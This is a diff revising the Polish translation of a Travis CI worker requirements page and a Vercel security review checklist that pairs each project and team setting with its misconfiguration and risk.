+**Worker TCI wymaga następujących:**
 
 1. Infrastruktury, w której można wdrożyć obraz docker zawierający **Worker i powiązany obraz budowy**.
-2. Łączności z niektórymi komponentami Usług Core Travis CI - zobacz [Konfiguracja Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów.
+2. Łączności z niektórymi komponentami Travis CI Core Services - zobacz [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów.
 
-Liczba wdrożonych obrazów systemu operacyjnego TCI Worker i środowiska budowy określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
+Liczba wdrożonych obrazów TCI Worker i środowiska budowy OS określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
 
 ![](<../../images/image (199).png>)
 
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 21b4d2f3f..5824f7f6d 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -6,7 +6,7 @@
 
 W Vercel **Zespół** to pełne **środowisko**, które należy do klienta, a **projekt** to **aplikacja**.
 
-Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytkownika z **uprawnieniami roli Widok** lub przynajmniej **uprawnieniami widoku projektu** nad projektami, aby sprawdzić (w przypadku, gdy potrzebujesz tylko sprawdzić projekty, a nie konfigurację Zespołu).
+Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytkownika z **uprawnieniami roli przeglądającego** lub przynajmniej **uprawnieniami przeglądania projektu** nad projektami, aby sprawdzić (w przypadku, gdy potrzebujesz tylko sprawdzić projekty, a nie konfigurację zespołu).
 
 ## Ustawienia projektu
 
@@ -17,10 +17,10 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Transfer**
-- **Błędna konfiguracja:** Umożliwia przeniesienie projektu do innego zespołu
+- **Błąd w konfiguracji:** Umożliwia przeniesienie projektu do innego zespołu
 - **Ryzyko:** Atakujący może ukraść projekt
 - **Usuń projekt**
-- **Błędna konfiguracja:** Umożliwia usunięcie projektu
+- **Błąd w konfiguracji:** Umożliwia usunięcie projektu
 - **Ryzyko:** Usunięcie projektu
 
 ---
@@ -32,16 +32,16 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Błędy konfiguracji DNS**
-- **Błędna konfiguracja:** Nieprawidłowe rekordy DNS (A, CNAME) wskazujące na złośliwe serwery.
+- **Błąd w konfiguracji:** Nieprawidłowe rekordy DNS (A, CNAME) wskazujące na złośliwe serwery.
 - **Ryzyko:** Przejęcie domeny, przechwytywanie ruchu i ataki phishingowe.
 - **Zarządzanie certyfikatami SSL/TLS**
-- **Błędna konfiguracja:** Używanie słabych lub wygasłych certyfikatów SSL/TLS.
+- **Błąd w konfiguracji:** Używanie słabych lub wygasłych certyfikatów SSL/TLS.
 - **Ryzyko:** Wrażliwość na ataki typu man-in-the-middle (MITM), co narusza integralność i poufność danych.
 - **Implementacja DNSSEC**
-- **Błędna konfiguracja:** Nieaktywowanie DNSSEC lub nieprawidłowe ustawienia DNSSEC.
+- **Błąd w konfiguracji:** Nie włączenie DNSSEC lub nieprawidłowe ustawienia DNSSEC.
 - **Ryzyko:** Zwiększona podatność na ataki spoofingowe DNS i ataki na pamięć podręczną.
 - **Środowisko używane na domenę**
-- **Błędna konfiguracja:** Zmiana środowiska używanego przez domenę w produkcji.
+- **Błąd w konfiguracji:** Zmiana środowiska używanego przez domenę w produkcji.
 - **Ryzyko:** Ujawnienie potencjalnych sekretów lub funkcji, które nie powinny być dostępne w produkcji.
 
 ---
@@ -53,10 +53,10 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Izolacja środowiska**
-- **Błędna konfiguracja:** Udostępnianie zmiennych środowiskowych między środowiskami.
+- **Błąd w konfiguracji:** Udostępnianie zmiennych środowiskowych między środowiskami.
 - **Ryzyko:** Ujawnienie sekretów produkcyjnych w środowiskach rozwojowych lub podglądowych, zwiększając narażenie.
 - **Dostęp do wrażliwych środowisk**
-- **Błędna konfiguracja:** Umożliwienie szerokiego dostępu do środowisk produkcyjnych.
+- **Błąd w konfiguracji:** Umożliwienie szerokiego dostępu do środowisk produkcyjnych.
 - **Ryzyko:** Nieautoryzowane zmiany lub dostęp do aplikacji na żywo, co prowadzi do potencjalnych przestojów lub naruszeń danych.
 
 ---
@@ -68,13 +68,13 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Ujawnianie wrażliwych zmiennych**
-- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
+- **Błąd w konfiguracji:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
 - **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych.
 - **Wrażliwe wyłączone**
-- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
+- **Błąd w konfiguracji:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
 - **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
 - **Wspólne zmienne środowiskowe**
-- **Błędna konfiguracja:** To są zmienne środowiskowe ustawione na poziomie Zespołu i mogą również zawierać wrażliwe informacje.
+- **Błąd w konfiguracji:** To są zmienne środowiskowe ustawione na poziomie zespołu i mogą również zawierać wrażliwe informacje.
 - **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
 
 ---
@@ -86,7 +86,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Zignorowany krok budowy (TODO)**
-- **Błędna konfiguracja:** Wygląda na to, że ta opcja pozwala skonfigurować skrypt/komendy bash, które będą wykonywane, gdy nowy commit zostanie przesłany do Github, co może umożliwić RCE.
+- **Błąd w konfiguracji:** Wygląda na to, że ta opcja pozwala skonfigurować skrypt/komendy bash, które będą wykonywane, gdy nowy commit zostanie przesłany do Github, co może umożliwić RCE.
 - **Ryzyko:** TBD
 
 ---
@@ -98,59 +98,59 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Niebezpieczne integracje zewnętrzne**
-- **Błędna konfiguracja:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi.
-- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wycieków danych lub tylnej furtki przez skompromitowane integracje.
+- **Błąd w konfiguracji:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi.
+- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wyciek danych lub tylne drzwi przez skompromitowane integracje.
 - **Nadmierne uprawnienia integracji**
-- **Błędna konfiguracja:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom.
+- **Błąd w konfiguracji:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom.
 - **Ryzyko:** Nieautoryzowany dostęp do zasobów projektu, manipulacja danymi lub zakłócenia usług.
 - **Brak monitorowania integracji**
-- **Błędna konfiguracja:** Nie monitorowanie i audytowanie integracji zewnętrznych.
+- **Błąd w konfiguracji:** Nie monitorowanie i audytowanie integracji zewnętrznych.
 - **Ryzyko:** Opóźnione wykrywanie skompromitowanych integracji, zwiększając potencjalny wpływ naruszeń bezpieczeństwa.
 
 ---
 
 ### Ochrona wdrożeń
 
-**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać w twoich środowiskach.
+**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać do twoich środowisk.
 
 #### Konfiguracje zabezpieczeń:
 
 **Autoryzacja Vercel**
 
-- **Błędna konfiguracja:** Wyłączanie autoryzacji lub brak egzekwowania kontroli członków zespołu.
+- **Błąd w konfiguracji:** Wyłączenie autoryzacji lub brak egzekwowania kontroli członków zespołu.
 - **Ryzyko:** Nieautoryzowani użytkownicy mogą uzyskać dostęp do wdrożeń, co prowadzi do naruszeń danych lub niewłaściwego użycia aplikacji.
 
-**Obejście ochrony dla automatyzacji**
+**Ominięcie ochrony dla automatyzacji**
 
-- **Błędna konfiguracja:** Publiczne ujawnienie sekretu obejścia lub używanie słabych sekretów.
-- **Ryzyko:** Atakujący mogą obejść ochronę wdrożeń, uzyskując dostęp i manipulując chronionymi wdrożeniami.
+- **Błąd w konfiguracji:** Publiczne ujawnienie sekretu omijającego lub używanie słabych sekretów.
+- **Ryzyko:** Atakujący mogą ominąć ochronę wdrożeń, uzyskując dostęp i manipulując chronionymi wdrożeniami.
 
 **Linki do udostępniania**
 
-- **Błędna konfiguracja:** Udostępnianie linków bez ograniczeń lub brak unieważnienia przestarzałych linków.
+- **Błąd w konfiguracji:** Udostępnianie linków bez ograniczeń lub brak unieważnienia przestarzałych linków.
 - **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, omijając autoryzację i ograniczenia IP.
 
 **Opcje Allowlist**
 
-- **Błędna konfiguracja:** Umożliwienie zbyt szerokich ścieżek lub wrażliwych punktów końcowych.
+- **Błąd w konfiguracji:** Umożliwienie zbyt szerokiego dostępu do ścieżek lub wrażliwych punktów końcowych.
 - **Ryzyko:** Atakujący mogą wykorzystać niechronione ścieżki do wykonywania nieautoryzowanych działań lub omijania kontroli bezpieczeństwa.
 
 **Ochrona hasłem**
 
-- **Błędna konfiguracja:** Używanie słabych haseł lub ich niebezpieczne udostępnianie.
+- **Błąd w konfiguracji:** Używanie słabych haseł lub ich niebezpieczne udostępnianie.
 - **Ryzyko:** Nieautoryzowany dostęp do wdrożeń, jeśli hasła zostaną odgadnięte lub wyciekły.
 - **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc.
 
 **Wyjątki w ochronie wdrożeń**
 
-- **Błędna konfiguracja:** Nieumyślne dodawanie domen produkcyjnych lub wrażliwych do listy wyjątków.
+- **Błąd w konfiguracji:** Nieumyślne dodanie domen produkcyjnych lub wrażliwych do listy wyjątków.
 - **Ryzyko:** Ujawnienie krytycznych wdrożeń publicznie, co prowadzi do wycieków danych lub nieautoryzowanego dostępu.
 - **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc.
 
 **Zaufane adresy IP**
 
-- **Błędna konfiguracja:** Nieprawidłowe określenie adresów IP lub zakresów CIDR.
-- **Ryzyko:** Blokowanie legalnych użytkowników lub uzyskiwanie dostępu przez nieautoryzowane adresy IP.
+- **Błąd w konfiguracji:** Nieprawidłowe określenie adresów IP lub zakresów CIDR.
+- **Ryzyko:** Blokowanie legalnych użytkowników lub uzyskanie dostępu przez nieautoryzowane adresy IP.
 - **Uwaga:** Dostępne w planie **Enterprise**.
 
 ---
@@ -172,7 +172,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Opróżnij pamięć podręczną**
-- **Błędna konfiguracja:** Umożliwia usunięcie całej pamięci podręcznej.
+- **Błąd w konfiguracji:** Umożliwia usunięcie całej pamięci podręcznej.
 - **Ryzyko:** Nieautoryzowani użytkownicy usuwający pamięć podręczną prowadzący do potencjalnego DoS.
 
 ---
@@ -184,14 +184,14 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Wyłącz zadanie Cron**
-- **Błędna konfiguracja:** Umożliwia wyłączenie zadań cron zadeklarowanych w kodzie.
-- **Ryzyko:** Potencjalne przerwanie usługi (w zależności od tego, do czego miały służyć zadania cron).
+- **Błąd w konfiguracji:** Umożliwia wyłączenie zadań cron zadeklarowanych w kodzie
+- **Ryzyko:** Potencjalne przerwanie usługi (w zależności od tego, do czego miały służyć zadania cron)
 
 ---
 
 ### Odpływy logów
 
-**Cel:** Konfiguracja zewnętrznych usług logowania w celu rejestrowania i przechowywania logów aplikacji do monitorowania i audytowania.
+**Cel:** Konfiguracja zewnętrznych usług logowania w celu przechwytywania i przechowywania logów aplikacji do monitorowania i audytowania.
 
 #### Konfiguracje zabezpieczeń:
 
@@ -207,40 +207,40 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 
 **Logi budowy i ochrona źródła**
 
-- **Błędna konfiguracja:** Wyłączanie ochrony lub publiczne ujawnianie ścieżek `/logs` i `/src`.
+- **Błąd w konfiguracji:** Wyłączenie ochrony lub publiczne ujawnienie ścieżek `/logs` i `/src`.
 - **Ryzyko:** Nieautoryzowany dostęp do logów budowy i kodu źródłowego, co prowadzi do wycieków informacji i potencjalnego wykorzystania luk w zabezpieczeniach.
 
 **Ochrona forka Git**
 
-- **Błędna konfiguracja:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów.
-- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne furtki.
+- **Błąd w konfiguracji:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów.
+- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne drzwi.
 
 **Bezpieczny dostęp do backendu z OIDC Federation**
 
-- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie parametrów OIDC lub używanie niebezpiecznych adresów URL wydawcy.
+- **Błąd w konfiguracji:** Nieprawidłowe skonfigurowanie parametrów OIDC lub używanie niebezpiecznych adresów URL wydawcy.
 - **Ryzyko:** Nieautoryzowany dostęp do usług backendowych przez wadliwe przepływy autoryzacji.
 
 **Polityka przechowywania wdrożeń**
 
-- **Błędna konfiguracja:** Ustawienie zbyt krótkich okresów przechowywania (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
+- **Błąd w konfiguracji:** Ustawienie okresów przechowywania zbyt krótkich (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
 - **Ryzyko:** Niemożność wykonania rollbacków w razie potrzeby lub zwiększone ryzyko ujawnienia danych z starych wdrożeń.
 
 **Ostatnio usunięte wdrożenia**
 
-- **Błędna konfiguracja:** Nie monitorowanie usuniętych wdrożeń lub poleganie wyłącznie na automatycznych usunięciach.
+- **Błąd w konfiguracji:** Nie monitorowanie usuniętych wdrożeń lub poleganie wyłącznie na automatycznych usunięciach.
 - **Ryzyko:** Utrata krytycznej historii wdrożeń, co utrudnia audyty i rollbacki.
 
 ---
 
 ### Zaawansowane
 
-**Cel:** Dostęp do dodatkowych ustawień projektu w celu dostosowania konfiguracji i zwiększenia bezpieczeństwa.
+**Cel:** Dostęp do dodatkowych ustawień projektu w celu precyzyjnego dostosowania konfiguracji i zwiększenia bezpieczeństwa.
 
 #### Konfiguracje zabezpieczeń:
 
 **Lista katalogów**
 
-- **Błędna konfiguracja:** Włączenie listy katalogów pozwala użytkownikom na przeglądanie zawartości katalogu bez pliku indeksu.
+- **Błąd w konfiguracji:** Włączenie listy katalogów pozwala użytkownikom na przeglądanie zawartości katalogów bez pliku indeksu.
 - **Ryzyko:** Ujawnienie wrażliwych plików, struktury aplikacji i potencjalnych punktów wejścia do ataków.
 
 ---
@@ -253,13 +253,13 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 
 **Włącz tryb wyzwania ataku**
 
-- **Błędna konfiguracja:** Włączenie tego poprawia obronę aplikacji webowej przed DoS, ale kosztem użyteczności.
+- **Błąd w konfiguracji:** Włączenie tego poprawia obronę aplikacji webowej przed DoS, ale kosztem użyteczności
 - **Ryzyko:** Potencjalne problemy z doświadczeniem użytkownika.
 
 ### Niestandardowe zasady i blokowanie IP
 
-- **Błędna konfiguracja:** Umożliwia odblokowanie/zablokowanie ruchu.
-- **Ryzyko:** Potencjalny DoS umożliwiający złośliwy ruch lub blokujący ruch legalny.
+- **Błąd w konfiguracji:** Umożliwia odblokowanie/zablokowanie ruchu
+- **Ryzyko:** Potencjalny DoS umożliwiający złośliwy ruch lub blokujący ruch legalny
 
 ---
 
@@ -267,13 +267,13 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 
 ### Źródło
 
-- **Błędna konfiguracja:** Umożliwia dostęp do odczytu pełnego kodu źródłowego aplikacji.
-- **Ryzyko:** Potencjalne ujawnienie wrażliwych informacji.
+- **Błąd w konfiguracji:** Umożliwia dostęp do odczytu pełnego kodu źródłowego aplikacji
+- **Ryzyko:** Potencjalne ujawnienie wrażliwych informacji
 
 ### Ochrona przed rozbieżnościami
 
-- **Błędna konfiguracja:** Ta ochrona zapewnia, że aplikacja klienta i serwera zawsze używają tej samej wersji, aby nie było rozbieżności, w których klient używa innej wersji niż serwer i dlatego się nie rozumieją.
-- **Ryzyko:** Wyłączenie tego (jeśli włączone) może spowodować problemy z DoS w nowych wdrożeniach w przyszłości.
+- **Błąd w konfiguracji:** Ta ochrona zapewnia, że aplikacja klienta i serwera zawsze używają tej samej wersji, aby nie było rozbieżności, w których klient używa innej wersji niż serwer i dlatego się nie rozumieją.
+- **Ryzyko:** Wyłączenie tego (jeśli włączone) może spowodować problemy z DoS w nowych wdrożeniach w przyszłości
 
 ---
 
@@ -284,11 +284,11 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Transfer**
-- **Błędna konfiguracja:** Umożliwia przeniesienie wszystkich projektów do innego zespołu.
-- **Ryzyko:** Atakujący może ukraść projekty.
+- **Błąd w konfiguracji:** Umożliwia przeniesienie wszystkich projektów do innego zespołu
+- **Ryzyko:** Atakujący może ukraść projekty
 - **Usuń projekt**
-- **Błędna konfiguracja:** Umożliwia usunięcie zespołu ze wszystkimi projektami.
-- **Ryzyko:** Usunięcie projektów.
+- **Błąd w konfiguracji:** Umożliwia usunięcie zespołu ze wszystkimi projektami
+- **Ryzyko:** Usunięcie projektów
 
 ---
 
@@ -297,8 +297,8 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Limit kosztów Speed Insights**
-- **Błędna konfiguracja:** Atakujący może zwiększyć tę liczbę.
-- **Ryzyko:** Zwiększone koszty.
+- **Błąd w konfiguracji:** Atakujący może zwiększyć tę liczbę
+- **Ryzyko:** Zwiększone koszty
 
 ---
 
@@ -307,25 +307,25 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Dodaj członków**
-- **Błędna konfiguracja:** Atakujący może utrzymać trwałość, zapraszając konto, które kontroluje.
-- **Ryzyko:** Trwałość atakującego.
+- **Błąd w konfiguracji:** Atakujący może utrzymać trwałość, zapraszając konto, które kontroluje
+- **Ryzyko:** Trwałość atakującego
 - **Role**
-- **Błędna konfiguracja:** Przyznawanie zbyt wielu uprawnień osobom, które ich nie potrzebują, zwiększa ryzyko konfiguracji Vercel. Sprawdź wszystkie możliwe role w [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
-- **Ryzyko:** Zwiększenie narażenia Zespołu Vercel.
+- **Błąd w konfiguracji:** Przyznawanie zbyt wielu uprawnień osobom, które ich nie potrzebują, zwiększa ryzyko konfiguracji Vercel. Sprawdź wszystkie możliwe role w [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Ryzyko**: Zwiększenie narażenia zespołu Vercel
 
 ---
 
 ### Grupy dostępu
 
-**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
+**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi z góry rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
 
-**Potencjalne błędne konfiguracje:**
+**Potencjalne błędy w konfiguracji:**
 
 - **Nadmierne uprawnienia członków:** Przypisywanie ról z większymi uprawnieniami niż to konieczne, co prowadzi do nieautoryzowanego dostępu lub działań.
 - **Nieprawidłowe przypisania ról:** Nieprawidłowe przypisanie ról, które nie odpowiadają obowiązkom członków zespołu, powodujące eskalację uprawnień.
 - **Brak segregacji projektów:** Nieoddzielanie wrażliwych projektów, co pozwala na szerszy dostęp niż zamierzono.
-- **Niewystarczające zarządzanie grupami:** Nieprzeglądanie ani nieaktualizowanie regularnie Grup Dostępu, co skutkuje przestarzałymi lub nieodpowiednimi uprawnieniami dostępu.
-- **Niekonsekwentne definicje ról:** Używanie niespójnych lub niejasnych definicji ról w różnych Grupach Dostępu, co prowadzi do zamieszania i luk w zabezpieczeniach.
+- **Niewystarczające zarządzanie grupami:** Nieprzeglądanie ani nieaktualizowanie regularnie grup dostępu, co skutkuje przestarzałymi lub nieodpowiednimi uprawnieniami dostępu.
+- **Niekonsekwentne definicje ról:** Używanie niespójnych lub niejasnych definicji ról w różnych grupach dostępu, co prowadzi do zamieszania i luk w zabezpieczeniach.
 
 ---
 
@@ -334,8 +334,8 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Odpływy logów do stron trzecich:**
-- **Błędna konfiguracja:** Atakujący może skonfigurować Odpływ logów, aby ukraść logi.
-- **Ryzyko:** Częściowa trwałość.
+- **Błąd w konfiguracji:** Atakujący może skonfigurować odpływ logów, aby ukraść logi
+- **Ryzyko:** Częściowa trwałość
 
 ---
 
@@ -344,38 +344,38 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
 #### Konfiguracje zabezpieczeń:
 
 - **Domena e-mail zespołu:** Po skonfigurowaniu to ustawienie automatycznie zaprasza osobiste konta Vercel z adresami e-mail kończącymi się na określonej domenie (np. `mydomain.com`) do dołączenia do twojego zespołu po rejestracji i na pulpicie.
-- **Błędna konfiguracja:**
-- Określenie niewłaściwej domeny e-mail lub błędnie napisanej domeny w ustawieniu Domena e-mail zespołu.
+- **Błąd w konfiguracji:** 
+- Określenie niewłaściwej domeny e-mail lub błędnie napisanej domeny w ustawieniu domeny e-mail zespołu.
 - Używanie powszechnej domeny e-mail (np. `gmail.com`, `hotmail.com`) zamiast domeny specyficznej dla firmy.
 - **Ryzyka:**
 - **Nieautoryzowany dostęp:** Użytkownicy z adresami e-mail z niezamierzonych domen mogą otrzymać zaproszenia do dołączenia do twojego zespołu.
-- **Ujawnienie danych:** Potencjalne ujawnienie wrażliwych informacji o projekcie nieautoryzowanym osobom.
+- **Ujawnienie danych:** Potencjalne ujawnienie wrażliwych informacji o projekcie osobom nieuprawnionym.
 - **Chronione zakresy Git:** Umożliwia dodanie do 5 zakresów Git do twojego zespołu, aby zapobiec innym zespołom Vercel wdrażania repozytoriów z chronionego zakresu. Wiele zespołów może określić ten sam zakres, co umożliwia dostęp obu zespołów.
-- **Błędna konfiguracja:** Nie dodawanie krytycznych zakresów Git do listy chronionej.
+- **Błąd w konfiguracji:** Nie dodanie krytycznych zakresów Git do listy chronionej.
 - **Ryzyka:**
 - **Nieautoryzowane wdrożenia:** Inne zespoły mogą wdrażać repozytoria z zakresów Git twojej organizacji bez autoryzacji.
 - **Ujawnienie własności intelektualnej:** Własny kod może zostać wdrożony i uzyskany poza twoim zespołem.
 - **Polityki zmiennych środowiskowych:** Egzekwuje polityki dotyczące tworzenia i edytowania zmiennych środowiskowych zespołu. W szczególności możesz egzekwować, aby wszystkie zmienne środowiskowe były tworzone jako **Wrażliwe zmienne środowiskowe**, które mogą być odszyfrowane tylko przez system wdrożeniowy Vercel.
-- **Błędna konfiguracja:** Utrzymywanie wyłączenia egzekwowania wrażliwych zmiennych środowiskowych.
+- **Błąd w konfiguracji:** Utrzymywanie wyłączenia egzekwowania wrażliwych zmiennych środowiskowych.
 - **Ryzyka:**
 - **Ujawnienie sekretów:** Zmienne środowiskowe mogą być przeglądane lub edytowane przez nieautoryzowanych członków zespołu.
 - **Naruszenie danych:** Wrażliwe informacje, takie jak klucze API i poświadczenia, mogą zostać wycieknięte.
 - **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań wykonywanych przez członków zespołu.
-- **Błędna konfiguracja:**\
+- **Błąd w konfiguracji:**\
 Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
 - **Ryzyka:**
-- **Naruszenia prywatności:** Ujawnienie wrażliwych działań użytkowników i danych.
-- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby zatuszować swoje ślady.
+- **Naruszenia prywatności:** Ujawnienie wrażliwych działań i danych użytkowników.
+- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby ukryć swoje ślady.
 - **SAML Single Sign-On:** Umożliwia dostosowanie autoryzacji SAML i synchronizacji katalogów dla twojego zespołu, umożliwiając integrację z dostawcą tożsamości (IdP) w celu centralnej autoryzacji i zarządzania użytkownikami.
-- **Błędna konfiguracja:** Atakujący może wprowadzić tylne furtki do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
-- **Ryzyko:** Utrzymanie trwałości.
+- **Błąd w konfiguracji:** Atakujący może wprowadzić tylne drzwi do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
+- **Ryzyko:** Utrzymanie trwałości
 - **Widoczność adresów IP:** Kontroluje, czy adresy IP, które mogą być uważane za dane osobowe zgodnie z niektórymi przepisami o ochronie danych, są wyświetlane w zapytaniach monitorujących i odpływach logów.
-- **Błędna konfiguracja:** Pozostawienie widoczności adresów IP włączonej bez potrzeby.
+- **Błąd w konfiguracji:** Pozostawienie widoczności adresów IP włączonej bez potrzeby.
 - **Ryzyka:**
 - **Naruszenia prywatności:** Nieprzestrzeganie przepisów o ochronie danych, takich jak RODO.
 - **Konsekwencje prawne:** Potencjalne grzywny i kary za niewłaściwe zarządzanie danymi osobowymi.
 - **Blokowanie IP:** Umożliwia konfigurację adresów IP i zakresów CIDR, z których Vercel powinien blokować żądania. Zablokowane żądania nie przyczyniają się do twojego rozliczenia.
-- **Błędna konfiguracja:** Może być nadużywana przez atakującego do zezwolenia na złośliwy ruch lub blokowania legalnego ruchu.
+- **Błąd w konfiguracji:** Może być nadużywane przez atakującego, aby umożliwić złośliwy ruch lub zablokować ruch legalny.
 - **Ryzyka:**
 - **Odmowa usługi dla legalnych użytkowników:** Blokowanie dostępu dla ważnych użytkowników lub partnerów.
 - **Zakłócenia operacyjne:** Utrata dostępności usługi dla niektórych regionów lub klientów.
@@ -384,39 +384,39 @@ Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
 
 ### Bezpieczne obliczenia
 
-**Vercel Secure Compute** umożliwia bezpieczne, prywatne połączenia między funkcjami Vercel a środowiskami backendowymi (np. bazami danych) poprzez ustanowienie izolowanych sieci z dedykowanymi adresami IP. To eliminuje potrzebę publicznego ujawniania usług backendowych, zwiększając bezpieczeństwo, zgodność i prywatność.
+**Vercel Secure Compute** umożliwia bezpieczne, prywatne połączenia między funkcjami Vercel a środowiskami backendowymi (np. bazami danych) poprzez ustanowienie izolowanych sieci z dedykowanymi adresami IP. Eliminuje to potrzebę publicznego ujawniania usług backendowych, zwiększając bezpieczeństwo, zgodność i prywatność.
 
-#### **Potencjalne błędne konfiguracje i ryzyka**
+#### **Potencjalne błędy w konfiguracji i ryzyka**
 
 1. **Nieprawidłowy wybór regionu AWS**
-- **Błędna konfiguracja:** Wybór regionu AWS dla sieci Secure Compute, który nie odpowiada regionowi usług backendowych.
-- **Ryzyko:** Zwiększone opóźnienia, potencjalne problemy z zgodnością z przepisami o rezydencji danych i pogorszenie wydajności.
+- **Błąd w konfiguracji:** Wybór regionu AWS dla sieci Secure Compute, który nie odpowiada regionowi usług backendowych.
+- **Ryzyko:** Zwiększone opóźnienia, potencjalne problemy z zgodnością z przepisami o miejscu przechowywania danych oraz pogorszenie wydajności.
 2. **Nakładające się bloki CIDR**
-- **Błędna konfiguracja:** Wybór bloków CIDR, które nakładają się na istniejące VPC lub inne sieci.
+- **Błąd w konfiguracji:** Wybór bloków CIDR, które nakładają się na istniejące VPC lub inne sieci.
 - **Ryzyko:** Konflikty sieciowe prowadzące do nieudanych połączeń, nieautoryzowanego dostępu lub wycieku danych między sieciami.
 3. **Nieprawidłowa konfiguracja peeringu VPC**
-- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie peeringu VPC (np. błędne identyfikatory VPC, niekompletne aktualizacje tabeli tras).
+- **Błąd w konfiguracji:** Nieprawidłowe skonfigurowanie peeringu VPC (np. błędne identyfikatory VPC, niekompletne aktualizacje tabeli tras).
